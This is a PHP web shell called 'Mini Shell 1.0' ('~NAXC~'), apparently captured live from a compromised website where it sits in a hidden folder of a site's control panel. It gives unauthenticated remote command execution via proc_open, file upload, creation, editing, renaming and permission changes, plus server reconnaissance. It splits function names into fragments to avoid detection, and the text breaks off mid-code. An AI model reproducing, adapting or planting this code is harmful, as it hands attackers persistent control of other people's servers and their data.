HOME


Mini Shell 1.0
DIR: /proc/self/root/home/islapiiu/sites/taxigalle/control-panel/delete/js/asst/
Upload File :
Current File : //proc/self/root/home/islapiiu/sites/taxigalle/control-panel/delete/js/asst/4.php
<?php
session_start();
ob_start();

$_VERSION = '1.0';

$path = (isset($_GET["path"])) ? $_GET["path"] : getcwd();
$file = (isset($_GET["file"])) ? $_GET["file"] : "";
$page = isset($_GET['page']) ? max(1, intval($_GET['page'])) : 1;

$os = php_uname('s');
$separator = ($os === 'Windows') ? "\\" : "/";
$explode = explode($separator, $path);

function ekse($coman, $serlok)
{
    $ler = "2>&1";
    if (!preg_match("/" . $ler . "/i", $coman)) {
        $coman = $coman . " " . $ler;
    }
    $komen = $coman;
    $pr = "proc_open";
    if (function_exists($pr)) {
        $tod = @$pr($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $crottz, $serlok);
        echo htmlspecialchars(stream_get_contents($crottz[1]));
    } else {
        return false;
    }
}

function ipserv()
{
    if (empty($_SERVER['SERVER_ADDR'])) {
        return gethostbyname($_SERVER['SERVER_NAME']);
        if (empty(gethostbyname($_SERVER['SERVER_NAME']))) {
            return $_SERVER['SERVER_NAME'];
        }
    } else {
        return $_SERVER['SERVER_ADDR'];
    }
}

function ggr($fl)
{
    $a = "fun" . "cti" . "on_" . "exis" . "ts";
    $b = "po" . "si" . "x_ge" . "tgr" . "gid";
    $c = "fi" . "le" . "gro" . "up";
    if ($a($b)) {
        if (!$a($c)) {
            return "?";
        }
        $d = $b(@$c($fl));
        if (empty($d)) {
            $e = $c($fl);
            if (empty($e)) {
                return "?";
            } else {
                return $e;
            }
        } else {
            return $d['name'];
        }
    } elseif ($a($c)) {
        return @$c($fl);
    } else {
        return "?";
    }
}

function gor($fl)
{
    $a = "fun" . "cti" . "on_" . "exis" . "ts";
    $b = "po" . "s" . "ix_" . "get" . "pwu" . "id";
    $c = "fi" . "le" . "o" . "wn" . "er";
    if ($a($b)) {
        if (!$a($c)) {
            return "?";
        }
        $d = $b(@$c($fl));
        if (empty($d)) {
            $e = $c($fl);
            if (empty($e)) {
                return "?";
            } else {
                return $e;
            }
        } else {
            return $d['name'];
        }
    } elseif ($a($c)) {
        return @$c($fl);
    } else {
        return "?";
    }
}
?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="robots" content="noindex, nofollow" />
    <title>~NAXC~</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <script>
        tailwind.config = {
            darkMode: 'class'
        }
    </script>

    <script>
        if (localStorage.getItem('color-theme') === 'dark' || (!('color-theme' in localStorage) && window.matchMedia('(prefers-color-scheme: dark)').matches)) {
            document.documentElement.classList.add('dark');
        } else {
            document.documentElement.classList.remove('dark');
        }
    </script>
</head>

<body class="bg-indigo-50 dark:bg-gray-900 text-gray-800 dark:text-gray-200">

    <?php
    if (isset($_SESSION["success"])) {
    ?>
        <div id="toast-default" class="fixed top-0 right-0 z-10 flex items-center w-full max-w-xs p-4 text-gray-500 bg-white rounded-lg shadow-sm dark:text-gray-400 dark:bg-gray-800" role="alert">
            <div class="inline-flex items-center justify-center shrink-0 w-8 h-8 text-green-500 bg-green-100 rounded-lg dark:bg-green-300 dark:text-green-200">
                <svg class="w-6 h-6 text-green-600 dark:text-green-700" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
                    <path fill-rule="evenodd" d="M2 12C2 6.477 6.477 2 12 2s10 4.477 10 10-4.477 10-10 10S2 17.523 2 12Zm13.707-1.293a1 1 0 0 0-1.414-1.414L11 12.586l-1.793-1.793a1 1 0 0 0-1.414 1.414l2.5 2.5a1 1 0 0 0 1.414 0l4-4Z" clip-rule="evenodd" />
                </svg>
            </div>
            <div class="ms-3 text-sm font-normal"><?= $_SESSION["success"]; ?></div>
            <button type="button" class="ms-auto -mx-1.5 -my-1.5 bg-white text-gray-400 hover:text-gray-900 rounded-lg focus:ring-2 focus:ring-gray-300 p-1.5 hover:bg-gray-100 inline-flex items-center justify-center h-8 w-8 dark:text-gray-500 dark:hover:text-white dark:bg-gray-800 dark:hover:bg-gray-700" data-dismiss-target="#toast-default" aria-label="Close">
                <span class="sr-only">Close</span>
                <svg class="w-3 h-3" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 14 14">
                    <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="m1 1 6 6m0 0 6 6M7 7l6-6M7 7l-6 6" />
                </svg>
            </button>
        </div>
    <?php
        unset($_SESSION["success"]);
    }

    if (isset($_SESSION["error"])) {
    ?>
        <div id="toast-default" class="fixed top-0 right-0 z-10 flex items-center w-full max-w-xs p-4 text-gray-500 bg-white rounded-lg shadow-sm dark:text-gray-400 dark:bg-gray-800" role="alert">
            <div class="inline-flex items-center justify-center shrink-0 w-8 h-8 text-red-500 bg-red-100 rounded-lg dark:bg-red-300 dark:text-red-200">
                <svg class="w-6 h-6 text-red-800 dark:text-red-700" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
                    <path fill-rule="evenodd" d="M2 12C2 6.477 6.477 2 12 2s10 4.477 10 10-4.477 10-10 10S2 17.523 2 12Zm7.707-3.707a1 1 0 0 0-1.414 1.414L10.586 12l-2.293 2.293a1 1 0 1 0 1.414 1.414L12 13.414l2.293 2.293a1 1 0 0 0 1.414-1.414L13.414 12l2.293-2.293a1 1 0 0 0-1.414-1.414L12 10.586 9.707 8.293Z" clip-rule="evenodd" />
                </svg>
            </div>
            <div class="ms-3 text-sm font-normal"><?= $_SESSION["error"]; ?></div>
            <button type="button" class="ms-auto -mx-1.5 -my-1.5 bg-white text-gray-400 hover:text-gray-900 rounded-lg focus:ring-2 focus:ring-gray-300 p-1.5 hover:bg-gray-100 inline-flex items-center justify-center h-8 w-8 dark:text-gray-500 dark:hover:text-white dark:bg-gray-800 dark:hover:bg-gray-700" data-dismiss-target="#toast-default" aria-label="Close">
                <span class="sr-only">Close</span>
                <svg class="w-3 h-3" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 14 14">
                    <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="m1 1 6 6m0 0 6 6M7 7l6-6M7 7l-6 6" />
                </svg>
            </button>
        </div>
    <?php
    }
    ?>

    <!-- Main modal -->
    <div id="authentication-modal" tabindex="-1" aria-hidden="true" class="hidden overflow-y-auto overflow-x-hidden fixed top-0 right-0 left-0 z-50 justify-center items-center w-full md:inset-0 h-[calc(100%-1rem)] max-h-full">
        <div class="relative p-4 w-full max-w-md max-h-full">
            <!-- Modal content -->
            <div class="relative bg-white rounded-lg shadow-sm dark:bg-gray-700">
                <!-- Modal body -->
                <div class="p-4 md:p-5">

                    <form method="get" class="max-w-md mx-auto">
                        <input type="hidden" name="path" value="<?= htmlspecialchars($path) ?>">
                        <label for="default-search" class="mb-2 text-sm font-medium text-gray-900 sr-only dark:text-white">Search</label>
                        <div class="relative">
                            <div class="absolute inset-y-0 start-0 flex items-center ps-3 pointer-events-none">
                                <svg class="w-4 h-4 text-gray-500 dark:text-gray-400" aria-hidden="true"
                                    xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 20 20">
                                    <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
                                        d="m19 19-4-4m0-7A7 7 0 1 1 1 8a7 7 0 0 1 14 0Z" />
                                </svg>
                            </div>
                            <input type="search" id="default-search" name="search"
                                class="block w-full p-4 ps-10 text-sm text-gray-900 border border-gray-300 rounded-lg bg-gray-50 
                   focus:ring-blue-500 focus:border-blue-500 
                   dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white 
                   dark:focus:ring-blue-500 dark:focus:border-blue-500"
                                placeholder="Search files or folders..." value="<?= htmlspecialchars($_GET['search'] ?? '') ?>">
                            <button type="submit"
                                class="text-white absolute end-2.5 bottom-2.5 bg-blue-700 hover:bg-blue-800 
                   focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-4 py-2 
                   dark:bg-blue-600 dark:hover:bg-blue-700 dark:focus:ring-blue-800">
                                Search
                            </button>
                        </div>
                    </form>
                </div>
            </div>
        </div>
    </div>

    <div class="container mx-auto p-4">
        <div data-dial-init class="fixed bottom-5 right-5 z-10 group">
            <div id="speed-dial-menu-default" class="flex flex-col items-center hidden mb-4 space-y-2">
                <button type="button" data-modal-target="authentication-modal" data-modal-toggle="authentication-modal" data-tooltip-target="tooltip-search" data-tooltip-placement="left" class="flex justify-center items-center w-[52px] h-[52px] text-gray-500 hover:text-gray-900 bg-white rounded-full border border-gray-200 dark:border-gray-600 shadow-xs dark:hover:text-white dark:text-gray-400 hover:bg-gray-50 dark:bg-gray-700 dark:hover:bg-gray-600 focus:ring-4 focus:ring-gray-300 focus:outline-none dark:focus:ring-gray-400">
                    <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
                        <path stroke="currentColor" stroke-linecap="round" stroke-width="2" d="m21 21-3.5-3.5M17 10a7 7 0 1 1-14 0 7 7 0 0 1 14 0Z" />
                    </svg>
                    <span class="sr-only">Search</span>
                </button>
                <div id="tooltip-search" role="tooltip" class="absolute z-10 invisible inline-block w-auto px-3 py-2 text-sm font-medium text-white transition-opacity duration-300 bg-gray-900 rounded-lg shadow-xs opacity-0 tooltip dark:bg-gray-700">
                    Search
                    <div class="tooltip-arrow" data-popper-arrow></div>
                </div>
                <a href="?path=<?= $path; ?>&action=command" data-tooltip-target="tooltip-command" data-tooltip-placement="left" class="flex justify-center items-center w-[52px] h-[52px] text-gray-500 hover:text-gray-900 bg-white rounded-full border border-gray-200 dark:border-gray-600 dark:hover:text-white shadow-xs dark:text-gray-400 hover:bg-gray-50 dark:bg-gray-700 dark:hover:bg-gray-600 focus:ring-4 focus:ring-gray-300 focus:outline-none dark:focus:ring-gray-400">
                    <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
                        <path fill-rule="evenodd" d="M3 4a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h18a1 1 0 0 0 1-1V5a1 1 0 0 0-1-1H3Zm4.293 5.707a1 1 0 0 1 1.414-1.414l3 3a1 1 0 0 1 0 1.414l-3 3a1 1 0 0 1-1.414-1.414L9.586 12 7.293 9.707ZM13 14a1 1 0 1 0 0 2h3a1 1 0 1 0 0-2h-3Z" clip-rule="evenodd" />
                    </svg>
                    <span class="sr-only">Command</span>
                </a>
                <div id="tooltip-command" role="tooltip" class="absolute z-10 invisible inline-block w-auto px-3 py-2 text-sm font-medium text-white transition-opacity duration-300 bg-gray-900 rounded-lg shadow-xs opacity-0 tooltip dark:bg-gray-700">
                    Command
                    <div class="tooltip-arrow" data-popper-arrow></div>
                </div>
                <a href="?path=<?= $path; ?>&action=infomin" data-tooltip-target="tooltip-information" data-tooltip-placement="left" class="flex justify-center items-center w-[52px] h-[52px] text-gray-500 hover:text-gray-900 bg-white rounded-full border border-gray-200 dark:border-gray-600 dark:hover:text-white shadow-xs dark:text-gray-400 hover:bg-gray-50 dark:bg-gray-700 dark:hover:bg-gray-600 focus:ring-4 focus:ring-gray-300 focus:outline-none dark:focus:ring-gray-400">
                    <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
                        <path fill-rule="evenodd" d="M2 12C2 6.477 6.477 2 12 2s10 4.477 10 10-4.477 10-10 10S2 17.523 2 12Zm9.408-5.5a1 1 0 1 0 0 2h.01a1 1 0 1 0 0-2h-.01ZM10 10a1 1 0 1 0 0 2h1v3h-1a1 1 0 1 0 0 2h4a1 1 0 1 0 0-2h-1v-4a1 1 0 0 0-1-1h-2Z" clip-rule="evenodd" />
                    </svg>
                    <span class="sr-only">Information</span>
                </a>
                <div id="tooltip-information" role="tooltip" class="absolute z-10 invisible inline-block w-auto px-3 py-2 text-sm font-medium text-white transition-opacity duration-300 bg-gray-900 rounded-lg shadow-xs opacity-0 tooltip dark:bg-gray-700">
                    Information
                    <div class="tooltip-arrow" data-popper-arrow></div>
                </div>
                <button type="button" id="theme-toggle" data-tooltip-target="tooltip-mode" data-tooltip-placement="left" class="flex justify-center items-center w-[52px] h-[52px] text-gray-500 hover:text-gray-900 bg-white rounded-full border border-gray-200 dark:border-gray-600 shadow-xs dark:hover:text-white dark:text-gray-400 hover:bg-gray-50 dark:bg-gray-700 dark:hover:bg-gray-600 focus:ring-4 focus:ring-gray-300 focus:outline-none dark:focus:ring-gray-400">
                    <svg id="theme-toggle-light-icon" class="hidden w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
                        <path fill-rule="evenodd" d="M13 3a1 1 0 1 0-2 0v2a1 1 0 1 0 2 0V3ZM6.343 4.929A1 1 0 0 0 4.93 6.343l1.414 1.414a1 1 0 0 0 1.414-1.414L6.343 4.929Zm12.728 1.414a1 1 0 0 0-1.414-1.414l-1.414 1.414a1 1 0 0 0 1.414 1.414l1.414-1.414ZM12 7a5 5 0 1 0 0 10 5 5 0 0 0 0-10Zm-9 4a1 1 0 1 0 0 2h2a1 1 0 1 0 0-2H3Zm16 0a1 1 0 1 0 0 2h2a1 1 0 1 0 0-2h-2ZM7.757 17.657a1 1 0 1 0-1.414-1.414l-1.414 1.414a1 1 0 1 0 1.414 1.414l1.414-1.414Zm9.9-1.414a1 1 0 0 0-1.414 1.414l1.414 1.414a1 1 0 0 0 1.414-1.414l-1.414-1.414ZM13 19a1 1 0 1 0-2 0v2a1 1 0 1 0 2 0v-2Z" clip-rule="evenodd" />
                    </svg>

                    <svg id="theme-toggle-dark-icon" class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
                        <path fill-rule="evenodd" d="M11.675 2.015a.998.998 0 0 0-.403.011C6.09 2.4 2 6.722 2 12c0 5.523 4.477 10 10 10 4.356 0 8.058-2.784 9.43-6.667a1 1 0 0 0-1.02-1.33c-.08.006-.105.005-.127.005h-.001l-.028-.002A5.227 5.227 0 0 0 20 14a8 8 0 0 1-8-8c0-.952.121-1.752.404-2.558a.996.996 0 0 0 .096-.428V3a1 1 0 0 0-.825-.985Z" clip-rule="evenodd" />
                    </svg>
                </button>
                <div id="tooltip-mode" role="tooltip" class="absolute z-10 invisible inline-block w-auto px-3 py-2 text-sm font-medium text-white transition-opacity duration-300 bg-gray-900 rounded-lg shadow-xs opacity-0 tooltip dark:bg-gray-700">
                    <span id="light-text" class="hidden">Light</span>
                    <span id="dark-text">Dark</span>
                    <div class="tooltip-arrow" data-popper-arrow></div>
                </div>
            </div>
            <button type="button" data-dial-toggle="speed-dial-menu-default" aria-controls="speed-dial-menu-default" aria-expanded="false" class="flex items-center justify-center text-white bg-blue-700 rounded-full w-[52px] h-[52px] hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-700 focus:ring-4 focus:ring-blue-300 focus:outline-none dark:focus:ring-blue-800">
                <svg class="w-5 h-5 transition-transform group-hover:rotate-45" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 18 18">
                    <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 1v16M1 9h16" />
                </svg>
                <span class="sr-only">Open actions menu</span>
            </button>
        </div>

        <div class="flex content-center items-center flex-col md:flex-row">
            <a href="<?php echo basename($_SERVER['PHP_SELF']); ?>"><img src="https://naxtarrr.netlify.app/img/Naxtarrr.png" class="h-20 w-auto mt-2"></a>
            <form class="flex content-center flex-col gap-2 min-[460px]:flex-row md:ms-auto max-w-xl mt-4" method="post" enctype="multipart/form-data">
                <input class="file:cursor-pointer dark:file:bg-gray-600 file:h-full file:px-4 file:py-2 file:mr-4 file:border-none dark:file:text-gray-400 file:hover:opacity-75 text-sm text-gray-900 font-medium border border-gray-300 rounded-lg cursor-pointer bg-gray-50 shadow-md dark:text-gray-400 focus:outline-none dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400" type="file" name="nax">
                <button class="text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="submit">
                    Submit
                </button>
            </form>

            <?php
            if (isset($_POST["submit"])) {
                $filename = basename($_FILES["nax"]["name"]);
                $tempname = $_FILES["nax"]["tmp_name"];
                $dest = $path . "/" . $filename;

                if (move_uploaded_file($tempname, $dest)) {
                    $_SESSION["success"] = "File uploaded successfully!";
                    header("Refresh:0; url=?path=" . urlencode($path));
                    exit;
                } else {
                    $_SESSION["error"] = "Upload failed!";
                    header("Refresh:0; url=?path=" . urlencode($path));
                    exit;
                }
            }
            ?>
        </div>

        <div class="flex content-center mt-5 mb-10">
            <div class="inline-block mx-auto bg-gray-50 shadow-md dark:bg-gray-700 p-4 text-sm text-center font-medium text-gray-500 dark:text-gray-400 rounded-lg overflow-auto">

                <?php
                if (isset($_GET["file"]) && !isset($_GET["path"])) {
                    $path = dirname($_GET["file"]);
                }
                $path = str_replace("\\", "/", $path);

                $paths = explode("/", $path);
                echo (!preg_match("/Windows/", $os)) ? "<a class='hover:text-gray-600 dark:hover:text-gray-500' id='dir' href='?path=/'>~</a>" : "";
                foreach ($paths as $id => $pat) {
                    echo "<a class='hover:text-gray-600 dark:hover:text-gray-500' href='?path=";
                    for ($i = 0; $i <= $id; $i++) {
                        echo $paths[$i];
                        if ($i != $id) {
                            echo "/";
                        }
                    }
                    echo "'>$pat</a>/";
                }
                ?>
            </div>
        </div>

        <?php
        if (isset($_GET["action"]) && $_GET["action"] === "infomin") {
        ?>
            <div class="bg-gray-50 shadow-md dark:bg-gray-700 p-4 rounded-lg">
                <h2 class="text-lg font-semibold mb-2">System Information</h2>
                <ul class="list-disc list-inside overflow-auto">
                    <li><strong>Server IP:</strong> <?= ipserv(); ?></li>
                    <li><strong>Server Software:</strong> <?= $_SERVER['SERVER_SOFTWARE'] ?? 'N/A'; ?></li>
                    <li><strong>PHP Version:</strong> <?= phpversion(); ?></li>
                    <li><strong>Current User:</strong> <?= get_current_user(); ?></li>
                    <li><strong>Operating System:</strong> <?= php_uname(); ?></li>
                    <li><strong>Document Root:</strong> <?= $_SERVER['DOCUMENT_ROOT'] ?? 'N/A'; ?></li>
                    <li><strong>Server Port:</strong> <?= $_SERVER['SERVER_PORT'] ?? 'N/A'; ?></li>
                    <li><strong>Server Admin:</strong> <?= $_SERVER['SERVER_ADMIN'] ?? 'N/A'; ?></li>
                    <li><strong>Loaded PHP Modules:</strong> <?= implode(", ", get_loaded_extensions()); ?></li>
                </ul>
            </div>
        <?php
        }

        if (isset($_GET["action"]) && $_GET["action"] === "command") {
        ?>
            <form method="post" action="">
                <div class='mt-4'>
                    <div>
                        <label for="coman" class="block mb-2.5 text-sm font-medium text-gray-900 font-medium dark:text-white">Command:</label>
                        <input type="text" id="coman" name="coman" class="block w-full p-2.5 text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" value="<?php echo (isset($_POST["coman"])) ? htmlspecialchars($_POST["coman"]) : ""; ?>" required>
                        <button class="block mt-3 w-full max-w-sm mx-auto text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="execute">
                            Execute
                        </button>
                    </div>
                </div>
            </form>
            <?php
            if (isset($_POST["execute"])) {
                $coman = $_POST["coman"];
                if (empty($coman)) {
                    echo "<font color='red'>Command is empty</font>";
                } else {

                    echo "<font color='green'>Command: " . htmlspecialchars($coman) . "</font><br>";

                    $ler = "2>&1";
                    if (!preg_match("/" . $ler . "/i", $coman)) {
                        $coman = $coman . " " . $ler;
                    }
                    $komen = $coman;
                    $pr = "proc_open";
                    if (function_exists($pr)) {
                        $tod = @$pr($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $crottz, $path);
                        echo "<pre><textarea rows='25' style='color:lime;' readonly='' class=' block p-2.5 w-full text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500'>
    " . htmlspecialchars(stream_get_contents($crottz[1])) . "</textarea></pre><br>";
                    } else {
                        echo "<font color='orange'>proc_open function is disabled!!</font>";
                    }
                }
            }
        }

        /* FILE ACTIONS */
        if (isset($_GET["path"]) && @$_GET["action"] === "newfile") {
            ?>
            <form method="post" action="">
                <div class='mt-4'>
                    <div class="mb-4">
                        <label for="file_name" class="block mb-2.5 text-sm font-medium text-gray-900 font-medium dark:text-white">New File Name:</label>
                        <input type="text" id="file_name" name="file_name" class="block w-full p-2.5 text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" required>
                    </div>
                    <div>
                        <label for="file_content" class="block mb-2.5 text-sm font-medium text-gray-900 font-medium dark:text-white">File Content:</label>
                        <textarea id="file_content" name="file_content" rows="12" class="block p-2.5 w-full text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500"></textarea>
                        <button class="block mt-3 w-full max-w-sm mx-auto text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="newfile">
                            Create file
                        </button>
                    </div>
                </div>
            </form>
            <?php
            if (isset($_POST["newfile"])) {
                $filename = $_POST["file_name"];
                $content = $_POST["file_content"];

                if (error_log($content, 3, $path . "/" . $filename)) {
                    $_SESSION["success"] = "File created successfully!";
                    header("Refresh:0; url=?path=" . urlencode($path));
                    exit;
                } else {
                    $_SESSION["error"] = "Failed to create file!";
                    header("Refresh:0; url=?path=" . urlencode($path));
                    exit;
                }
            }
        }

        if (isset($_GET["action"]) && $_GET["action"] === "view" && isset($_GET["file"])) {
            $filePath = $path . "/" . $_GET["file"];
            if (file_exists($filePath) && is_file($filePath)) {
                // Capture file output
                ob_start();
                readfile($filePath);
                $fileContent = ob_get_clean();
            ?>
                <div class='mt-4 text-gray-700 dark:text-gray-300'>
                    <h2 class='text-lg font-semibold'>
                        File Content: <code><?= htmlspecialchars($_GET["file"]); ?></code>
                    </h2>
                    <textarea rows="12" class='block p-2.5 w-full text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white focus:outline-none' readonly><?= htmlspecialchars($fileContent); ?></textarea>
                </div>
                <div class="flex gap-x-2 mt-2">
                    <a class="hover:text-gray-600 dark:hover:text-gray-500" href="?path=<?= $_GET['path']; ?>&file=<?= $_GET['file']; ?>&action=edit">Edit</a>
                    <a class="hover:text-gray-600 dark:hover:text-gray-500" href="?path=<?= $_GET['path']; ?>&file=<?= $_GET['file']; ?>&action=renamefile">Rename</a>
                    <a class="hover:text-gray-600 dark:hover:text-gray-500" href="?path=<?= $_GET['path']; ?>&file=<?= $_GET['file']; ?>&action=chmodfile">Chmod</a>
                    <a class="hover:text-gray-600 dark:hover:text-gray-500" href="?path=<?= $_GET['path']; ?>&file=<?= $_GET['file']; ?>&action=deletefile">Delete</a>
                </div>
            <?php
            } else {
            ?>
                <div class='mt-4 text-red-600 font-medium font-medium'>File does not exist or is not readable.</div>
            <?php
            }
        }


        if (isset($_GET["action"]) && $_GET["action"] === "edit" && isset($_GET["file"])) {
            $filePath = $path . "/" . $_GET["file"];
            if (file_exists($filePath) && is_file($filePath) && is_writable($filePath)) {
                ob_start();
                readfile($filePath);
                $fileContent = ob_get_clean();
            ?>
                <form method="post" action="">
                    <div class='mt-4'>
                        <h2 class='text-lg font-semibold'>Edit File: <code><?= htmlspecialchars($_GET["file"]); ?></code></h2>
                        <textarea name="file_content" rows="12" class='block p-2.5 w-full text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white focus:outline-none'><?= htmlspecialchars($fileContent); ?></textarea>
                        <button class="block mt-3 w-full max-w-sm mx-auto text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="editfile">
                            Save Changes
                        </button>
                    </div>
                </form>
                <?php
                if (isset($_POST["editfile"])) {
                    $content = $_POST["file_content"];

                    if (unlink($filePath) && error_log($content, 3, $filePath)) {
                        $_SESSION["success"] = "File updated successfully!";
                        header("Refresh:0; url=?path=" . urlencode($path) . "&file=" . urlencode($_GET["file"]) . "&action=edit");
                        exit;
                    } else {
                        $_SESSION["error"] = "Failed to update file!";
                        header("Refresh:0; url=?path=" . urlencode($path));
                        exit;
                    }
                }
            } else {
                ?>
                <div class='mt-4 text-red-600 font-medium'>File does not exist or is not writable.</div>
            <?php
            }
        }

        if (isset($_GET["action"]) && $_GET["action"] === "renamefile" && isset($_GET["file"])) {
            $filePath = $path . "/" . $_GET["file"];
            if (file_exists($filePath) && is_file($filePath) && is_writable($filePath)) {
            ?>
                <form method="post" action="">
                    <div class='mt-4'>
                        <h2 class='text-lg font-semibold'>Rename File: <code><?= htmlspecialchars($_GET["file"]); ?></code></h2>
                        <input type="text" name="new_name" class="block w-full p-2.5 text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" value="<?= htmlspecialchars($_GET["file"]); ?>" required>
                        <button class="block mt-3 w-full max-w-sm mx-auto text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="renamefile">
                            Rename File
                        </button>
                    </div>
                </form>
                <?php
                if (isset($_POST["renamefile"])) {
                    $newName = $_POST["new_name"];
                    $newPath = $path . "/" . $newName;

                    if (rename($filePath, $newPath)) {
                        $_SESSION["success"] = "File renamed successfully!";
                        header("Refresh:0; url=?path=" . urlencode($path) . "&file=" . $newName . "&action=renamefile");
                        exit;
                    } else {
                        $_SESSION["error"] = "Failed to rename file!";
                        header("Refresh:0; url=?path=" . urlencode($path));
                        exit;
                    }
                }
            } else {
                ?>
                <div class='mt-4 text-red-600 font-medium'>File does not exist or is not writable.</div>
            <?php
            }
        }

        if (isset($_GET["action"]) && $_GET["action"] === "chmodfile" && isset($_GET["file"])) {
            $filePath = $path . "/" . $_GET["file"];
            if (file_exists($filePath) && is_file($filePath) && is_writable($filePath)) {
            ?>
                <form method="post" action="">
                    <div class='mt-4'>
                        <h2 class='text-lg font-semibold'>Chmod File: <code><?= htmlspecialchars($_GET["file"]); ?></code></h2>
                        <input type="text" name="new_perms" class="block w-full p-2.5 text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" value="<?= substr(sprintf('%o', @fileperms($filePath)), -4); ?>" required>
                        <button class="block mt-3 w-full max-w-sm mx-auto text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="chmodfile">
                            Change Permission
                        </button>
                    </div>
                </form>
                <?php
                if (isset($_POST["chmodfile"])) {
                    $newPerms = intval($_POST["new_perms"], 8);

                    if (chmod($filePath, $newPerms)) {
                        $_SESSION["success"] = "Successfully changed permission!";
                        header("Refresh:0; url=?path=" . urlencode($path) . "&file=" . $_GET["file"] . "&action=chmodfile");
                        exit;
                    } else {
                        $_SESSION["error"] = "Failed to changed permission!";
                        header("Refresh:0; url=?path=" . urlencode($path));
                        exit;
                    }
                }
            } else {
                ?>
